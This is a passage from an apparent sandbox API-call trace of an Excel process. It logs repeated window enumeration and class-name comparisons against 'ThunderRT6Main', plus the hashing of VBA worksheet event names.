returned 1 [0118.621] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.621] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0118.621] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.621] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.621] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.621] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0118.621] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0118.621] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0118.621] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.621] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0118.621] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0118.621] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0118.621] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.622] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0118.622] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.622] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.622] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0118.622] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0118.622] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.622] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.622] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.622] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0118.622] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.622] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.622] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.622] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0118.622] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.622] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.622] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.622] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0118.622] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0118.622] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0118.622] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.622] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0118.623] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0118.623] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0118.623] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0118.623] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0118.623] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.623] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0118.623] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0118.623] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0118.623] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0118.623] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0118.623] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0118.623] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.623] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0118.623] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0118.623] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0118.623] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0118.623] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.623] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0118.623] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0118.623] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0118.623] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.623] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0118.624] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0118.624] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0118.624] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.624] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0118.624] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.624] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.624] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0118.624] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0118.624] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0118.624] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0118.624] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0118.624] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0118.624] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0118.624] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0118.624] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0118.624] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.624] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0118.624] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0118.624] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.624] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0118.625] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0118.625] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0118.625] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0118.625] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0118.625] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0118.625] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0118.625] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0118.625] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.625] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0118.625] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5961e50 [0118.625] IMalloc:Free (This=0x7fefe465380, pv=0x5961e50) [0118.702] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0118.702] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0118.702] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0118.702] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0118.702] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0118.702] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0118.714] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0118.714] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0118.714] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0118.717] GetCurrentThreadId () returned 0xa30 [0118.717] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0118.717] GetDesktopWindow () returned 0x10010 [0118.717] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0118.717] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0118.717] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0118.717] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.717] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0118.717] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.718] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.718] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.718] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0118.718] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.718] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.718] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.718] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0118.718] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.718] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.718] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.718] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0118.718] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.718] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.718] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.718] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0118.718] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.718] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.718] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.719] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0118.719] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.719] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.719] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.719] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0118.728] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.729] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.729] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.729] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0118.729] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0118.729] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0118.729] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.729] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0118.729] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0118.729] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0118.729] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.729] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0118.729] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.729] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.729] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0118.730] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0118.730] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0118.730] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.730] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0118.730] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0118.730] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0118.730] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.730] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0118.730] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.730] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0118.730] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0118.730] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0118.730] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0118.730] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0118.730] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0118.730] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.730] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.730] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.730] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0118.730] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.731] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.731] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.731] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0118.731] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.731] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.731] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.731] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0118.731] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.731] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.731] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.731] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0118.731] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.731] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.731] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.731] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0118.731] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0118.731] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0118.731] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.731] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0118.731] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0118.731] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0118.731] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.731] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0118.732] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0118.732] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0118.732] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0118.732] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.732] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.732] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0118.732] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0118.732] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0118.732] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0118.732] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0118.732] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0118.732] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0118.732] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0118.732] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.732] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0118.732] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0118.732] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0118.732] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0118.732] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.732] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0118.732] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0118.732] IsWindowEnabled (hWnd=0x302dc) returned 1 [0118.732] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0118.732] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0118.732] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0118.732] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0118.733] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0118.733] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0118.733] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0118.733] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0118.733] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.733] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0118.733] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0118.733] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0118.733] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0118.733] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.733] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.733] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.733] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0118.733] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0118.733] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0118.733] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0118.733] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.733] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.733] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.733] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0118.733] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0118.734] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0118.734] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0118.734] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.734] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.734] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.734] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0118.734] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0118.734] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0118.734] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0118.734] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.734] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.734] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.734] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0118.734] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0118.734] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0118.734] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0118.734] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0118.734] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0118.734] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.734] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0118.739] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0118.739] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.740] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0118.740] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0118.740] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0118.740] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0118.740] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.740] GetWindowLongA (hWnd=0x20256, nIndex=-16) 